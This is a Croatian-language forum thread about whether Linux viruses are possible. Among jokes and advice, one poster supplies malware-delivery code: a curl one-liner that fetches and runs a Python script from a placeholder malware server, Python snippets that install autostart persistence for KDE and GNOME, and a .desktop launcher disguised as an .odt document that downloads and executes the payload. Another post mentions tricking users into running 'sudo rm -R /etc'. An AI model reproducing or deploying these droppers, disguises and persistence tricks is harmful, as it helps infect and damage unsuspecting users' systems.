Linux virus

[glaskoncILLa]

Možda da priupitam developera da mi pomogne instalirati jer se ne da.

Hi,
I am a Bosnian virus, but because of poor technology in my country, I am not able to do anything with your computer.
Please be so kind to delete one of your files and then forward me to other users

[Suko]

Ovaj virus bi trebao raditi i na Linuxu i na Windowsima.
Za Mac nisam siguran.
Odma se izvršava, a navodno je kod skriven unutar slike.
Može i iz Virtualboxa izbrisati domaćinov disk.
Pripazite kad ga otvarate...

[glaskoncILLa]

ako imas plavusu u kuci..

[Suko]

ako imas plavusu u kuci..

Da, to je uvjet.

[semiRocket]

Naletio sam neki dan na jednu zanimljivost; Tiny C Compiler kompajler veličine megabajta, strašno brz u komplajliranju. Ali to nije ni bitno koliko me obradovala ova šema (izvadak iz dokumentacije);

Kod: Označi sve

‘-run source [args...]’

Compile file source and run it with the command line arguments args. In order to be able to give more than one argument to a script, several TCC options can be given after the ‘-run’ option, separated by spaces. Example: tcc "-run -L/usr/X11R6/lib -lX11" ex4.c

In a script, it gives the following header:

Kod: Označi sve

#!/usr/local/bin/tcc -run -L/usr/X11R6/lib -lX11
#include <stdlib.h>
int main(int argc, char **argv)
{
    ...
}

Dakle u principu je moguće pokrenuti source kod. Samo što datoteci od odina fali prva linija koja bi mogla pokrenuti kompajler...

[Lutherus]

Najveći problem je lakovjernost korisnika.Većmom ih se namami da sami skinu ili pokrenu malciozni program.
Znači , tako dugo dok korisnici otvaraju attachmente samo na temelju ljepog teksta u mailu ili primamljive ponude(većimom ide WOOOOOOOO daj gle fotke i video ove male !!!! ili kaj već).
Na windozama je lakše.Napraviš exe i pošalješ, on ga u svojoj pohlepi i neznaju sam pokrene.
Ok , nije baš nekaj kaj bi se zvalo pravi virus ali ok.
Većina mail programa za linux neće automatski pokrenuti prilog osim ako nije neki od formata dokumenta ili multimedije.Realno Linux korisnici naspram windoze korisnika imaju više tehničkog znanja i znaju kaj rade pa ih i teže navuči na nekaj glupo jer nisu tipične nonetechnic usseri koji vole klikati.Ali i to se mjenja , dosta kompova dolazi sa predinstaliranom nekom od distribucija.Znači napad je moguć , još ako je lijepo zamaskiran..
Dakle kad se kod skine treba se pobrinuti za njegovo pokretanje.Tu uvelike pomaže gnome ili kde sa svojim luncherima pa stoga nije Linux virus već gnome/kde virus.
Naredba za pokretanje lunchera je jedna linija.Recimo kaj s ovime

Kod: Označi sve

% bash -c "curl http://www.neki_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py" 

još bi trebalo srediti pokretanje kod podizanja.
Znači ~/.config/autostart ili ~/.kde/Autostart

Malware bi trebal saminstalirati svoj luncher.
Za KDE Python skriptica

Kod: Označi sve

mport os
   uname = os.getlogin()
   drop_dir = “/home/%s/.kde/Autostart” % uname)
   os.makedirs(drop_dir)
   os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/s.py")

za gnome

Kod: Označi sve

mport os
   relauncher_str = """
   [Desktop Entry]
   Type=Application
   Name=Malware
   Exec=python .local/.hidden/s.py
   Icon=system-run
   """
   uname = os.getlogin()
   drop_dir = “/home/%s/.config/autostart” % uname
   os.makedirs(drop_dir)
   f = open(drop_dir+”/Malware.desktop”, “w”)
   f.write(relauncher_str)
   f.close()

I još bi trebalo srediti desktop luncher pa kaj naprimjer s ovim kodom?

Kod: Označi sve

[Desktop Entry]
   Type=Application
   Name=some_text.odt
   Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
                            DROP=~/.local/.hidden ;
                           mkdir -p $DROP;
                           if [ -e /usr/bin/wget ] ;
                           then wget $URL -O $DROP/s.py ;
                           else curl $URL -o $DROP/s.py ; fi;
                           python $DROP/s.py'
    Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png

A sam kod malwera napravit u pythonu?

[Barby]

Joj!Opet ti sa virusima!Ma svi znamo da ti hobij sakupljanje računalnih virusa.

[domi]

Joj!Opet ti sa virusima!Ma svi znamo da ti hobij sakupljanje računalnih virusa.

[ace_ubuntu]

@odin koje alate koristiš za analizu malicioznog koda ?

Ja sam koristila za potrebe fax-a Process Monitor, TCP view, Proces Explorer, web site Virus total...ako imaš koji još dobar alat napiši... ( a da radi pod linuxom)

I da naravno slažem se sa nekolicinom ovdje, pravi maliciozni kod treba testirati preko virtualne mašine...
Napomena: ne nisam testirala pravi maliciozni kod, nego lažni kojeg smo dobili od profesora na kolegiju Sigurnost IS-a....i da programi su za Windows OS, sad nisam probala instalirati na linuxu pa ne znam jel tamo rade (sumnjam )...link gdje ih možete skinuti http://technet.microsoft.com/en-us/sysi ... fault.aspx

[Grof]

Najveću štetu koju ovakvi trojanci mogu napraviti jest šteta unutar korisnikovog direktorija. Ali za bilo kakvo brljanje po sistemu isti treba ili koristiti kakvu sigurnosnu rupu ili pitati admina za dopuštenja.

Naravno, u koliko se poveća postotak "kućnih admina" koji na sve živo odgovaraju ukucavanjem šifre, onda je neminovno da im takav "virus" može zbrljati sistem i da će toga biti sve više.

Zato treba škvadru odmah na početku korištenja Linuxa i učiti da je root password bitan i da paze na što odgovaraju šifrom!!!

Jer onda im i ja mogu zbrljati sistem ak pošaljem mejl za zamolbom da si naprave "sudo rm -R /etc" i ukucaju yes i root password.

Mislim ono....